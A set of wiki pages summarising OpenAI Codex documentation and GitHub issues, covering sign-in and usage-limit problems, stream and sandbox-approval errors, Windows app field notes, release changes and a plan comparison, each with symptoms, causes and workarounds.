- **Explain a codebase** (IDE: open files + selection; CLI: `@`-mention files), **fix a bug** (give a numbered repro recipe + constraints; have Codex re-run the repro after the fix), **write a test** (select exact lines), **prototype from a screenshot** (drag image into terminal; specify framework constraints in text), **iterate on UI with live dev server**, **plan locally then delegate refactor milestones to cloud**, **local `/review` before PR**, **`@codex review` on GitHub PRs**. Full decision guidance: [[syntheses/workflow-recipes]] and [[syntheses/surface-picker]].

### Team adoption (AI-native engineering guide)

- Frame per SDLC phase as **Delegate / Review / Own**: agents take the first pass (feasibility analysis, scaffolding, boilerplate, multi-file changes, tests); engineers review correctness and architecture; humans own strategy, prioritization, and final direction.
- METR (Aug 2025): leading models sustain ~2h17m of continuous work at ~50% success; task length doubling ~every 7 months — delegation scope should grow over time.
- Getting-started checklists: wire agents to issue trackers for scoping; use multimodal input + design-tool MCPs for design; typed languages (TypeScript) help agents use component libraries correctly.

### Common mistakes (verbatim list themes)

- Durable rules left in prompts instead of `AGENTS.md`/skills; not letting the agent run build/test; skipping planning; granting full permission before understanding the workflow; running live threads on the same files without [[syntheses/workflow-recipes]] worktrees; automating unreliable tasks; babysitting instead of parallelizing.

## Relevant Concepts

- [[concepts/agents-md]] — instruction layering mechanics
- [[concepts/memories-context]] — threads, context window, compaction
- [[concepts/skills-plugins]] — packaging repeatable work
- [[concepts/automations]] — scheduling stable workflows
- [[concepts/mcp-integration]] — external context
- [[concepts/subagents]] — offloading bounded work from the main thread

## Source Metadata

- Type: official documentation (developers.openai.com/codex): Best practices, Prompting, Workflows, and the "Building an AI-Native Engineering Team" guide.
- Author: OpenAI. Fetched: 2026-06-10.
- URLs: https://developers.openai.com/codex/learn/best-practices.md, /codex/prompting.md, /codex/workflows.md, /codex/guides/build-ai-native-engineering-team.md



<!-- ===== codex/wiki/summaries/casebook-auth-limits.md ===== -->

---
title: "Casebook: Auth, Sign-in, and Usage-Limit Problems"
type: summary
tags: [troubleshooting, authentication, usage-limits, rate-limits, casebook]
created: 2026-06-10
updated: 2026-06-10
confidence: medium
sources: ["raw/github_issue-the-codex-cli-giving-401-unauthorized.md", "raw/github_issue-windows-sign-in-with-chatgpt-still-generates-requires-an-api.md", "raw/github_issue-sign-in-with-chatgpt-functionality-needs-to-be-robust-agains.md", "raw/github_issue-logged-in-with-chatgpt-pro-account-codex-says-to-use-codex-w.md", "raw/github_issue-codex-cli-plus-users-hitting-usage-limits-extremely-quickly-.md", "raw/github_issue-usage-dropping-too-quickly.md", "raw/github_issue-possible-codex-usage-metering-anomaly-on-plus-very-small-tas.md", "raw/github_issue-hitting-rate-limits.md", "raw/github_issue-30k-tokens-per-minute-with-tier-1-api-key.md", "raw/github_issue-phone-number-verification-doesn-t-work.md"]
---

# Casebook: Auth, Sign-in, and Usage-Limit Problems

Solved (or maintainer-acknowledged) problems from `openai/codex` GitHub issues. Each case: symptom (verbatim) → cause → fix/workaround → issue ref. Confidence is **medium** overall (community reports); cases with explicit maintainer confirmation are flagged. For the prescriptive doc-side view, see [[syntheses/auth-plan-picker]] and [[concepts/authentication]].

## Key Points

### Case 1 — `401 Unauthorized` mid-session on ChatGPT sign-in

- **Symptom (verbatim):** `unexpected status 401 Unauthorized: {"detail":"Unauthorized"}` followed by `stream disconnected before completion: error sending request for url (https://chatgpt.com/backend-api/codex/responses)`.
- **Causes found in triage:** (a) accessing from an unsupported country; (b) the user had configured a custom Azure endpoint (`...openai.azure.com/openai/v1/responses`) — the 401 came from Azure, not OpenAI; (c) transient backend issues that "worked on their own" later.
- **Fix/workaround:** Log out and back in (`codex login`). Check `config.toml` for a custom `base_url`/model provider — if Azure-hosted, fix credentials on the Azure side. If it persists, run `/feedback` to upload logs and post the thread ID. Maintainer-driven triage. — Issue #12764.

### Case 2 — Windows "Sign in with ChatGPT" still generated and billed an API key

- **Symptom (verbatim):** after revoking the auto-created key: `Error details: Status: 401, Code: invalid_api_key, Message: 401 Incorrect API key provided: sk-proj-***...`. Sign-in auto-created a key named "Codex CLI (auto-generated)" and billed the API org even for Pro users.
- **Cause:** ChatGPT login was not fully working on Windows in early versions (≤0.19.0); maintainer-confirmed.
- **Fix:** Fixed in CLI **0.20.0** (PRs #2019, #2035, #2042). Delete `%USERPROFILE%\.codex\auth.json` and re-run a clean auth flow on the fixed version. — Issue #2000. (Historical; modern behavior documented in [[concepts/authentication]].)

### Case 3 — Sign-in edge cases by account type (headless, workspace, unverified org)

- **Symptoms (verbatim):** `Credit redemption request failed: HTTP Error 400: Bad Request` during `codex login`; `"Your organization must be verified to generate reasoning summaries. Please go to: https://platform.openai.com/settings/organization/general and click on Verify Organization..."` (`param: "reasoning.summary"`, `code: "unsupported_value"`); company ChatGPT accounts without platform access fail with `Authentication Error - No eligible ChatGPT account found.`
- **Cause:** early "Sign in with ChatGPT" did not handle all account types (Plus without verified API org, workspace accounts without API access). Login flow uses a local callback server on `http://localhost:1455`.
- **Fix/workaround:** verify the organization on platform.openai.com (propagation up to 15 min), or use a model the account can access. For headless machines, today's documented paths are `codex login --device-auth` or copying `~/.codex/auth.json` (see [[concepts/authentication]]). — Issue #1243.

### Case 4 — Pro/Plus account told "To use Codex with your ChatGPT plan, upgrade to Plus"

- **Symptom (verbatim):** `🖐 To use Codex with your ChatGPT plan, upgrade to Plus: https://openai.com/chatgpt/pricing.` on CLI 0.21.0 despite an active Pro/Plus subscription.
- **Cause:** server-side entitlement glitch; re-login did not help.
- **Fix/workaround:** Mostly self-resolved server-side ("started working again without any additional action"). Suggested interim step: revoke the CLI key and regenerate per https://help.openai.com/en/articles/11381614-codex-cli-and-sign-in-with-chatgpt (mixed success). If it persists more than a few hours, file an issue with your thread ID. — Issue #2330.

### Case 5 — Plus users hitting usage limits after 1–2 requests

- **Symptom:** usage limit reached after minimal usage; limits sometimes not resetting for 15–24h; CLI and web appeared to have inconsistent limit displays.
- **Cause:** small Plus allowance plus an early caching inefficiency; partially improved in v0.21 ("better caching" per issue #2022 reference).
- **Fix/workaround:** check `/status` for remaining limits; use the smallest viable model; consider Pro or extra credits ([[syntheses/auth-plan-picker]]). — Issue #2448.

### Case 6 — Confirmed cache-miss bug burned weekly quota (Nov 2025)

- **Symptom:** Pro weekly limit exhausted in under 24 hours; `apply_patch` and `sed` calls each costing ~200–300K input tokens due to full-context resends.
- **Cause (maintainer-confirmed):** "we have identified one issue causing increased cache misses which are consuming limits much more quickly." Limits were NOT reduced.
- **Fix:** server-side fix shipped Nov 4; usage reset Nov 5. Also shipped: **failed cloud tasks no longer count against limits**. — Issue #6172. This is the precedent case: sudden quota drain is usually a caching/metering bug, not a silent limit cut.

### Case 7 — Usage metering anomaly on Plus/Pro (2026-03, gpt-5.3-codex / spark)

- **Symptom:** tiny one-line change consumed ~2% of the 5h budget; `gpt-5.3-codex-spark` spent ~15% of a Pro weekly limit in 10 minutes; CLI and website briefly showed different weekly percentages.
- **Cause:** disputed. Maintainer position: "we have not changed anything on the server side related to usage accounting or metering"; later maintainer reply on #13568: "I thought we had fixed this problem... We'll try to get to the bottom of it quickly."
- **Workaround while investigating:** downgrade the CLI to test for client regression; get your user ID from https://chatgpt.com/codex → profile menu (copies `user-<random string>`) and post it on the issue; avoid Spark for quota-sensitive work (it has a separate, demand-adjusted limit). — Issues #13186, #13568. **Unresolved at fetch time; confidence low.**

### Case 8 — Tier-1 API key: `Request too large for gpt-5 ... tokens per min (TPM)`

- **Symptom (verbatim):** `🖐 stream disconnected before completion: Request too large for gpt-5 in organization org-... on tokens per min (TPM): Limit 30000, Requested 30237. The input or output tokens must be reduced in order to run successfully.`
- **Cause:** Tier-1 API organizations get 30K TPM; a single Codex request with real repo context routinely exceeds that. Codex historically crashed instead of honoring retry-after.
- **Fix/workaround:** sign in with ChatGPT (plan limits bypass org TPM), or raise the org to Tier 3–4 before using an API key with Codex. — Issue #2629. See [[syntheses/auth-plan-picker]].

### Case 9 — Phone number verification loop on new-device sign-in

- **Symptom:** SSO login on a new device demands phone verification; entering a number yields `invalid_phone_number` or calls from random numbers.
- **Cause:** unconfirmed (anti-abuse flow misfiring; regional numbers e.g. Kazakhstan Tele2 rejected).
- **Fix:** none confirmed in-thread at fetch time. **Open issue; confidence low.** — Issue #20161.

## Relevant Concepts

- [[concepts/authentication]] — sign-in methods, auth.json, device-auth, headless patterns
- [[syntheses/auth-plan-picker]] — choosing ChatGPT plan vs API key
- [[syntheses/troubleshooting-checklist]] — ordered diagnosis sequence
- [[summaries/casebook-runtime]] — stream/transport errors that look like auth failures

## Source Metadata

- Type: GitHub issues from `openai/codex` (#12764, #2000, #1243, #2330, #2448, #13568, #13186, #6172, #2629, #20161), fetched 2026-06-10.
- Confidence: medium (community-reported); Cases 2 and 6 are maintainer-confirmed (higher); Cases 7 and 9 unresolved (lower).



<!-- ===== codex/wiki/summaries/casebook-runtime.md ===== -->

---
title: "Casebook: Runtime Errors — Streams, Hangs, Approvals, Routing"
type: summary
tags: [troubleshooting, stream-errors, sandboxing, approvals, casebook]
created: 2026-06-10
updated: 2026-06-10
confidence: medium
sources: ["raw/github_issue-stream-disconnected-before-completion.md", "raw/github_issue-stream-disconnected-before-completion-transport-error.md", "raw/github_issue-stream-disconnected-before-completion-transport-error-networ.md", "raw/github_issue-error-running-remote-compact-task-stream-disconnected-before.md", "raw/github_issue-bug-when-i-send-a-first-message-stream-error.md", "raw/github_issue-all-models-codex-cli-hangs-indefinitely-on-all-prompts-no-re.md", "raw/github_issue-codex-hangs-during-cli-command-execution.md", "raw/github_issue-bwrap-approval-prompt-shown-for-almost-every-command.md", "raw/github_issue-unusable-on-windows-due-to-permission-ask-for-every-shell-co.md", "raw/github_issue-macos-app-stuck-awaiting-approval-prompt-cannot-be-approved.md", "raw/github_issue-gpt-5-3-codex-being-routed-to-gpt-5-2.md", "raw/github_issue-high-gpu-usage-70-90-on-macos-with-codex-app.md", "raw/github_issue-undo-does-not-work.md", "raw/github_issue-the-encrypted-content-gaaa-5f0-could-not-be-verified.md", "raw/github_issue-python-uv-fails-in-codex.md"]
---

# Casebook: Runtime Errors — Streams, Hangs, Approvals, Routing

Solved-problem casebook from `openai/codex` GitHub issues: symptom (verbatim) → cause → fix/workaround → issue ref. Ordered diagnosis lives in [[syntheses/troubleshooting-checklist]]; auth-shaped errors live in [[summaries/casebook-auth-limits]].

## Key Points

### A. "stream disconnected before completion" family

**Case A1 — context window exceeded (retry loop, then hard fail)**
- **Symptom (verbatim):** `⚠️ stream error: stream disconnected before completion: Your input exceeds the context window of this model. Please adjust your input and try again.; retrying 1/5 in 208ms…` … `■ stream disconnected before completion: ...`
- **Cause:** session context genuinely too large (long thread, big diffs/screenshots).
- **Fix:** run `/compact`; if `/compact` itself fails, start a new chat/session. — Issue #3924.

**Case A2 — `Transport error: error decoding response body`**
- **Symptom (verbatim):** `⚠️ stream error: stream disconnected before completion: Transport error: error decoding response body; retrying 1/5 in 181ms…`
- **Cause:** mix of client bug (largely fixed in 0.39.0), VPN/proxy interference, server-side incidents, and running multiple concurrent CLI processes (only one streams, others fail).
- **Fix/workaround:** update the CLI; disable/rotate VPN or proxy; reduce concurrent Codex processes; if widespread the same day, assume a service incident and retry later. — Issues #3835, #8302.

**Case A3 — remote compact task fails**
- **Symptom:** `Error running remote compact task: stream disconnected before completion` (often on long threads, subagent-heavy threads, or threads containing screenshots); endpoint `https://chatgpt.com/backend-api/codex/responses/compact`.
- **Workaround (verbatim commands):**
  ```bash
  codex resume <session-id> --disable enable_request_compression --no-alt-screen
  codex fork <session-id> --disable enable_request_compression --no-alt-screen
  ```
- — Issue #9544.

**Case A4 — fails on the very first message (`stream closed before response.completed`)**
- **Symptom (verbatim):** `stream error: stream disconnected before completion: stream closed before response.completed; retrying 1/10 in 191ms…`
- **Cause:** triggered by the internally generated API-key creation request on fresh accounts/orgs, not the user prompt (historical, v0.3.0 era).
- **Fix:** ensure the org has a working API key / use an established org; update the CLI. — Issue #1481.

### B. Hangs

**Case B1 — CLI hangs indefinitely on all prompts**
- **Symptom:** prompt accepted, no streaming output, no error, status bar stuck at "100% left"; response eventually arrives after ~5 minutes. Happens "predominantly right around forced compaction time (10–20% context left)"; `codex fork` on the long thread also stalls.
- **Cause:** suspected server-side compaction stall; new chats respond instantly.
- **Workaround:** run `/compact` manually before context drops below ~20%; otherwise start a new thread. Downgrading did not help (not a client regression). — Issue #14048.

**Case B2 — hangs during shell command execution**
- **Symptom:** Codex does half the job then sticks during terminal command execution; many users simultaneously.
- **Cause:** service incident (not visible on the status page at the time).
- **Workaround:** switch model (e.g. `gpt-5.1-codex` instead of `-max`) or wait out the incident. — Issue #7156.

### C. Approval-prompt spam

**Case C1 — Linux/bwrap: approval prompt for almost every command**
- **Symptom (verbatim):** approval prompts for `find`, `ls`, `sed` despite "Yes, and don't ask again"; sandbox error: `exec_command failed ... stderr: "bwrap: loopback: Failed RTM_NEWADDR: Operation not permitted`.
- **Cause:** Ubuntu 24.04+ AppArmor restricts unprivileged user namespaces, so bubblewrap fails and Codex silently falls back from `workspace-write` to `read-only` — every write needs approval. Surfaced on CLI 0.115.0.
- **Fixes (in order of preference):**
  1. Load the packaged AppArmor profile (see [[concepts/sandboxing-approvals]]): `sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict` (after installing `apparmor-profiles`).
  2. Per-binary AppArmor profile for the resolved codex path (`readlink -f "$(command -v codex)"`) with `flags=(default_allow) { userns, }`, then `sudo apparmor_parser -r /etc/apparmor.d/codex-userns` — avoids the system-wide off switch.
  3. Blunt: `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0` (weakens kernel hardening).
  4. Downgrade to `codex-cli 0.114.0` (temporary). — Issue #14936.

**Case C2 — Windows: permission ask for every PowerShell command (historical)**
- **Symptom:** every operation prefixed `powershell -NoProfile -Command ...` requires approval; "Full Auto"/`/approvals` had no effect; PowerShell quoting failures forced double approvals (`Missing closing ')' in expression.`).
- **Cause:** early Windows support (CLI 0.25–0.27) predated the native Windows sandbox.
- **Workaround then:** `--yolo` (dangerous) or VS Code "Agent (full access)". **Today:** use the native Windows sandbox in PowerShell or WSL2 per [[concepts/sandboxing-approvals]]; see also [[syntheses/sandbox-approval-guide]]. — Issue #2860.

**Case C3 — macOS app: stuck "Awaiting approval" that can't be approved**
- **Symptom:** approval prompt highlights selection but Yes/submit do nothing; a stale past approval blocks a new one.
- **Cause:** app UI bug on long-running sessions; no repro identified.
- **Workaround:** fully quit and restart the Codex app (switching threads does not help); resend the last message. — Issue #10760. **Unresolved at fetch time.**

### D. Model routing, GPU, undo, misc

**Case D1 — `gpt-5.3-codex` silently routed to `gpt-5.2`**
- **Symptom:** config and TUI say `gpt-5.3-codex` but `response.created` reports `gpt-5.2-2025-12-11`. Verbatim detection one-liner:
  ```bash
  RUST_LOG='codex_api::sse::responses=trace' codex exec --sandbox read-only --model gpt-5.3-codex 'ping' 2>&1 \
    | grep -m1 'SSE event: {"type":"response.created"' \
    | sed 's/^.*SSE event: //' | jq -r '.response.model'
  ```
- **Cause:** account-specific server-side routing (same command on a work account returned `gpt-5.3-codex`).
- **Workaround:** verify with the command above; report with `/feedback` thread ID. No client-side fix. — Issue #11189.

**Case D2 — Codex app uses 70–90% GPU on macOS**
- **Symptom:** Electron process at 70–90% GPU, high temperatures; sluggish UI, slow thread switching; reported on M1 Pro through M3 Max/M4 Pro.
- **Suspected cause:** diff view failing to release GPU resources after viewing large diffs ("usage pattern only started after I opened that section").
- **Workaround:** avoid keeping large diff views open; restart the app; submit `/feedback`. Maintainers investigating ("reports of large diffs resulting in poor performance"). — Issue #10432.

**Case D3 — Undo/"Changes reverted" doesn't revert (VS Code extension)**
- **Symptom:** green toast "Changes reverted" but the file is unchanged; on other versions a red toast `Failed to revert changes`.
- **Cause:** revert path depends on Git: in a Git repo the underlying file is reverted (the open diff view just doesn't refresh); in a non-Git folder revert fails outright.
- **Fix/workaround:** check the file on disk, not the diff view; keep projects under Git for working undo; otherwise ask the agent to revert. — Issue #3567.

**Case D4 — `invalid_encrypted_content` error**
- **Symptom (verbatim):** `{"error": {"message": "The encrypted content gAAA...5f0= could not be verified.", "type": "invalid_request_error", "code": "invalid_encrypted_content"}}` — repeats on "continue".
- **Cause:** server-side incident (maintainer: "We're aware of the problem"); hit big-context tasks across CLI and extension simultaneously; logout/reinstall did not help.
- **Workaround:** wait out the incident; small tasks still worked; web Codex unaffected. — Issue #8120.

**Case D5 — `uv` / Python tooling fails under the sandbox**
- **Symptom (verbatim):** `error: failed to open file `/Users/.../Library/Caches/uv/sdists-v9/.git`: Operation not permitted (os error 1)` and `pyenv: cannot rehash: ... shims isn't writable`.
- **Cause:** uv's cache (with embedded `.git` dirs, implicitly read-only) lives outside the workspace; `workspace-write` blocks it.
- **Workarounds:** set `UV_CACHE_DIR` inside the repo; or add writable roots (verbatim):
  ```toml
  [sandbox_workspace_write]
  writable_roots = [
      "/Users/my_user/.cache/uv",
      "/Users/my_user/.cache/pre-commit",
      "~/Library/Caches/mise",
  ]
  ```
  Note: users reported `writable_roots` ineffective for the `.git`-embedded cache paths on some versions; `danger-full-access` worked but is a blunt instrument. — Issue #1457. See [[syntheses/sandbox-approval-guide]].

### E. Worktrees & Handoff (app)

**Case E1 — "Hand off" missing on worktree threads (regression; docs not updated)**
- **Symptom:** worktree threads show no **Hand off** control anywhere (thread header, command menu) — only **Create branch** appears. The documented worktree→Local handoff flow is unavailable.
- **Cause:** UI regression after an app update; affects new and pre-existing worktree threads; reported on macOS (app 26.305.950) and field-confirmed on Windows 2026-06-11. Issue closed without visible resolution; docs still describe the old workflow.
- **Workarounds (field-verified):** commit in the worktree, then from the local checkout `git merge <branch>` (merging works even while the branch is checked out in the worktree — Git only forbids double *checkout*); branch-less variant: `git rev-parse HEAD` in the worktree → `git merge <sha>` locally; to check the branch out locally: `git switch --detach` in the worktree first, then `git switch <branch>` locally. Reminder: **Create branch here names the branch but does not commit** — commit before merging or pushing. — Issue #14141.

**Case E2 — Windows handoff doesn't merge back (when present)**
- **Symptom:** on Windows builds that still had the button (26.313.5234.0 Msix), Handoff converted the worktree into a local branch but did not offer the merge-back flow shown in macOS demos; master unchanged, manual merge required.
- **Cause:** platform inconsistency vs the macOS handoff flow; no maintainer response.
- **Workaround:** manual merge/cherry-pick of the worktree branch (see E1). — Issue #15314. **Open at fetch time.**

## Relevant Concepts

- [[concepts/sandboxing-approvals]] — the mechanism behind cases C1–C2, D5
- [[syntheses/sandbox-approval-guide]] — recommended mode/policy combos
- [[syntheses/troubleshooting-checklist]] — ordered diagnosis using these cases
- [[summaries/release-digest]] — version-specific regressions and fixes

## Source Metadata

- Type: GitHub issues from `openai/codex` (#3924, #3835, #8302, #9544, #1481, #14048, #7156, #14936, #2860, #10760, #11189, #10432, #3567, #8120, #1457), fetched 2026-06-10; #14141 and #15314 fetched live 2026-06-11 with field verification on Windows (see [[summaries/field-notes-windows-app]]).
- Confidence: medium (community-reported); C1 cause and A2 partial fix corroborated by maintainers/docs; C3, D1, D2 unresolved at fetch time (lower); E1 workarounds field-verified end-to-end (higher), E1/E2 underlying fix status unknown.



<!-- ===== codex/wiki/summaries/community-source-batch-2026-06-11.md ===== -->

---
title: "Community Source Batch - 2026-06-11"
type: summary
tags: [community-sources, github-discussions, reddit, usage-limits, memories, sandboxing, workflows, speculative]
created: 2026-06-11
updated: 2026-06-11
sources: ["raw/community-source-batch-2026-06-11.md"]
confidence: low
---

# Community Source Batch - 2026-06-11

## Key Points

- Prepared a prioritized source batch for community reports around Codex usage limits, memory design, undo/revert ergonomics, cross-thread app workflows, and Windows sandbox field testing.
- The strongest immediate ingest cluster is the June 2026 usage-limit discussion: GitHub Discussion 26975 plus the linked Reddit r/codex thread. This should update [[summaries/casebook-auth-limits]], [[syntheses/auth-plan-picker]], and [[syntheses/troubleshooting-checklist]] only as low-confidence community evidence unless an official confirmation appears.
- The memory/context cluster, especially GitHub Discussion 12567, can add useful community design preferences to [[concepts/memories-context]]: citations for prior-thread memories, manual versus background generation, project versus global scope, secret redaction, and rate-limit cost.
- The workflow ergonomics cluster, especially discussions 9618 and 26148, supports updates to [[syntheses/workflow-recipes]] and [[entities/codex-app]] around undo/revert expectations, git safety practices, durable app threads, and cross-thread handoff patterns.
- The Windows sandbox thread 6065 is useful but should be reconciled with current official docs and release notes before changing canonical sandbox guidance in [[concepts/sandboxing-approvals]] or [[syntheses/sandbox-approval-guide]].

## Relevant Concepts

- [[concepts/authentication]]
- [[concepts/memories-context]]
- [[concepts/agents-md]]
- [[concepts/sandboxing-approvals]]
- [[concepts/automations]]
- [[entities/codex-app]]
- [[entities/codex-cli]]
- [[syntheses/auth-plan-picker]]
- [[syntheses/troubleshooting-checklist]]
- [[syntheses/workflow-recipes]]

## Source Metadata

- Type of source: curated community-source preparation packet.
- Author/speaker: Codex agent curation from public community pages.
- Date: 2026-06-11.
- URL or identifier: source URLs and intended ingest order are recorded in `raw/community-source-batch-2026-06-11.md`.
- Confidence note: low overall because the batch records community reports and feature requests. Use it as an ingest map, not as canonical product truth.



<!-- ===== codex/wiki/summaries/field-notes-windows-app.md ===== -->

---
title: "Field Notes: Codex App on Windows (2026-06-11)"
type: summary
tags: [windows, codex-app, worktrees, handoff, sandboxing, field-verification]
created: 2026-06-11
updated: 2026-06-11
confidence: high
sources: ["raw/field-notes-windows-app-2026-06-11.md"]
---

# Field Notes: Codex App on Windows (2026-06-11)

Hands-on verification of the Codex desktop app on Windows 11 (native build, ChatGPT sign-in), with same-day live-web verification. Distinctive value: this is the only source in the KB that tests documented app behavior against a real Windows build. Three documented behaviors did not survive contact.

## Key Points

- **Thread-mode selector (Local/Worktree/Cloud) exists only in the new-thread composer** — running threads don't show it. Easy to miss entirely; the docs' screenshot caption ("New thread composer with...") is the only hint. Worktree mode requires a Git repo ([[concepts/cloud-tasks]]).
- **Worktree carry-over of uncommitted changes is conditional, and easily missed:** a worktree based on `main` from a checkout with local changes came out **clean**. Doc verbatim: "If you chose a branch with local changes, the uncommitted changes will be applied" — i.e., only when the selected base branch is the branch holding the changes.
- **"Create branch here" names the branch but does not commit** — the agent's new file stayed untracked after branch creation; manual `git add`/`commit` required before the work existed anywhere durable.
- **Handoff is missing on worktree threads** (no button in header or command menu) — matches issue #14141 (closed unresolved, also macOS); when Windows builds had it, it didn't merge back (#15314, open). Docs still describe the old flow. Working exits, field-verified: merge from local (`git merge <branch>` or `<sha>` — merging works while the branch is checked out in the worktree), or release-then-switch (`git switch --detach` in worktree → `git switch <branch>` locally). Full case writeups: [[summaries/casebook-runtime]] E1–E2.
- **App sandbox controls:** the day-to-day dial is the **permissions selector under the composer** — labels **Default permissions / Auto-review / Full access / Custom (config.toml)** (live sandboxing page; no "read-only" label in the app). Settings also has the options, in a section this build names **"Configuration"** (docs: "Agent configuration").
- **The app's `/status` shows thread ID, context usage, and rate limits only** — no sandbox/writable-roots info; that guidance belongs to the CLI/TUI `/status`. Surface-specific command behavior is a recurring trap ([[entities/codex-app]] vs [[entities/codex-cli]]).
- **Worktree location confirmed on Windows:** `C:\Users\<user>\.codex\worktrees\<id>\<project>`; `git status` inside shows "not currently on any branch" (detached HEAD — expected, reads as an error to newcomers).

## Relevant Concepts

- [[concepts/cloud-tasks]] — worktrees/handoff mechanics this source corrects
- [[concepts/sandboxing-approvals]] — permissions selector and surface differences
- [[entities/codex-app]] — the surface under test
- [[summaries/casebook-runtime]] — cases E1–E2 sourced from these notes
- [[syntheses/workflow-recipes]] — Recipe 1 caveats sourced from these notes

## Source Metadata

- Type: first-party field testing (Windows 11, native app, ChatGPT plan) + live fetches of developers.openai.com pages and openai/codex issues #14141, #15314.
- Date: 2026-06-11.
- Confidence: high for field observations on this build (single machine, app version not recorded — re-verify after updates); medium for issue-derived claims.



<!-- ===== codex/wiki/summaries/release-digest.md ===== -->

---
title: "Codex Release Digest"
type: summary
tags: [releases, versions, codex-cli, changelog]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/github_release-0-140-0-alpha-4.md", "raw/github_release-0-140-0-alpha-2.md", "raw/github_release-0-139-0.md", "raw/github_release-0-139-0-alpha-1.md", "raw/github_release-0-139-0-alpha-2.md", "raw/github_release-0-139-0-alpha-3.md", "raw/github_release-0-138-0.md", "raw/github_release-0-138-0-alpha-2.md", "raw/github_release-0-138-0-alpha-3.md", "raw/github_release-0-138-0-alpha-4.md", "raw/github_release-0-138-0-alpha-5.md", "raw/github_release-0-138-0-alpha-6.md", "raw/github_release-0-138-0-alpha-7.md", "raw/github_release-0-138-0-alpha-8.md", "raw/github_doc-changelog-md.md"]
---

# Codex Release Digest

## Key Points

- **Current latest stable release: 0.139.0** (tag `rust-v0.139.0`, published 2026-06-09). **Latest pre-release: 0.140.0-alpha.4** (tag `rust-v0.140.0-alpha.4`, published 2026-06-10).
- The repo `CHANGELOG.md` is a stub: "The changelog can be found on the [releases page](https://github.com/openai/codex/releases)." Release notes are the only changelog.
- Alpha releases carry **no release notes** (body is just "Release X.Y.Z-alpha.N"); curated notes land only on the stable tag. Don't expect alpha notes to explain behavior changes.

### Release cadence

- Cadence is very fast: 0.138.0 shipped 2026-06-08, 0.139.0 shipped 2026-06-09, and 0.140.0 alphas began the same day 0.139.0 went stable. Multiple alphas can ship per day (e.g. eight 0.138.0 alphas between 2026-06-04 and 2026-06-08).
- Practical implication: when triaging a bug, always record the exact `codex --version`, and check whether the issue reproduces on the latest stable before filing — regressions are often fixed within a day or two. Downgrading one minor version is a common, sanctioned mitigation (see [[summaries/casebook-runtime]]).

### Notable changes in 0.139.0 (2026-06-09)

- Code mode can call **standalone web search** directly, including from nested JavaScript tool calls (#26719).
- Tool/connector input schemas now preserve `oneOf` and `allOf`; large schemas keep more shallow structure when compacted — better MCP compatibility (#24118, #27084). See [[concepts/mcp-integration]].
- `codex doctor` now reports editor and pager environment details (#27081).
- `codex plugin marketplace list --json` includes each marketplace source; plugin lists can serve from cached remote catalog (#27009, #26932).
- Fix: `codex resume --last "..."` and `codex fork --last "..."` treat the trailing argument as the initial prompt, not a session ID (#26818).
- Fix: sandbox execution preserves approved escalation decisions and enforces configured proxy-only networking more consistently (#24981, #27035). Relevant to [[syntheses/sandbox-approval-guide]].
- New CLI alias: `-P` for sandbox permissions profile (#27054).
- Fix: `/new`, `/clear`, `/fork` no longer drop cloud-managed requirements or feature flags during TUI config reloads (#25177).

### Notable changes in 0.138.0 (2026-06-08)

- `/app` command hands off the current CLI thread into Codex Desktop on macOS and native Windows (#25638, #26500). See [[entities/codex-app]] and [[entities/codex-cli]].
- Local image attachments and standalone image generations expose saved file paths to the model, making follow-up edits reliable (#25944, #25947).
- Codex auth supports **v2 personal access tokens** in CLI and app-server flows; app-server integrations can read account token usage (#25731, #25344). See [[concepts/authentication]].
- Plugin subcommands gained `--json` output (#26631, #26417).
- Goal-mode fixes: multiline paste in `/goal edit` no longer submits early; goals stop auto-continuing after terminal turn failures (#26047, #26690).
- Startup resilience: `/usr/bin/bash` shell fallback, shorter Linux proxy socket paths, pre-refresh of expired OAuth-backed MCP credentials (#26538, #26553, #26482).
- `AGENTS.md` loading fixed for remote and symlinked workspaces (#26205, #26465). See [[concepts/agents-md]].
- Managed permission profile allowlists are enforced (#24852) — the permissions docs treat **0.138.0 as the minimum version** for managed permission-profile rollouts.
- Perf: `resume --last` uses the state DB first; faster TUI startup via reused plugin discovery (#26462, #26469).

## Relevant Concepts

- [[concepts/installation-setup]] — upgrading and version pinning
- [[concepts/configuration]] — feature flags toggled per release
- [[concepts/sandboxing-approvals]] — sandbox fixes land frequently; see 0.139.0 items
- [[syntheses/troubleshooting-checklist]] — "check your version" is step one

## Source Metadata

- Type: GitHub release notes from `openai/codex` (tags `rust-v0.138.0-alpha.2` through `rust-v0.140.0-alpha.4`) plus the repo `CHANGELOG.md` stub.
- Author: OpenAI Codex maintainers.
- Fetched: 2026-06-10. Latest stable at fetch time: **0.139.0**; latest pre-release: **0.140.0-alpha.4**.
- URLs: https://github.com/openai/codex/releases



<!-- ===== codex/wiki/syntheses/auth-plan-picker.md ===== -->

---
title: "Auth & Plan Picker: Sign in with ChatGPT vs API Key"
type: synthesis
tags: [authentication, pricing, plans, usage-limits, decision-guide]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex-pricing.md", "raw/llms_txt_doc-authentication.md", "raw/github_issue-30k-tokens-per-minute-with-tier-1-api-key.md"]
---

# Auth & Plan Picker: Sign in with ChatGPT vs API Key

Two auth methods, two billing models. **Sign in with ChatGPT** = subscription access governed by plan limits and ChatGPT workspace policies. **API key** = usage-based billing at standard API rates, governed by your API org's retention/data settings. Codex cloud **requires** ChatGPT sign-in; CLI and IDE support both.

## Comparison

### Capability tradeoffs

| Dimension | Sign in with ChatGPT | API key |
|---|---|---|
| Surfaces | Web, CLI, IDE, app, iOS | CLI, SDK, IDE extension, app (limited) |
| Cloud features (cloud tasks, GitHub code review, Slack) | Yes | **No** |
| New models (e.g. GPT-5.3-Codex, Spark) | Immediate | **Delayed access** |
| Billing | Flat subscription; credits to extend | Per-token at API pricing |
| Limits | Plan 5h + weekly windows | Org rate limits (TPM by tier) |
| Admin/data controls | ChatGPT workspace RBAC, retention, residency | API org retention/data-sharing settings |

### Plans (individual; prices verbatim from pricing page)

| Plan | Price | Codex positioning |
|---|---|---|
| Free | $0/mo | "Explore Codex capabilities on quick coding tasks" (no image gen) |
| Go | $8/mo | Lightweight coding tasks |
| Plus | $20/mo | "A few focused coding sessions each week"; GPT-5.5/5.4/5.3-Codex; GPT-5.4-mini for higher limits |
| Pro | from $100/mo | **5x or 20x** Plus limits; GPT-5.3-Codex-Spark (research preview, Pro only) |
| Business | pay-as-you-go seats | Larger cloud VMs, admin controls, SAML SSO, no training on business data by default |
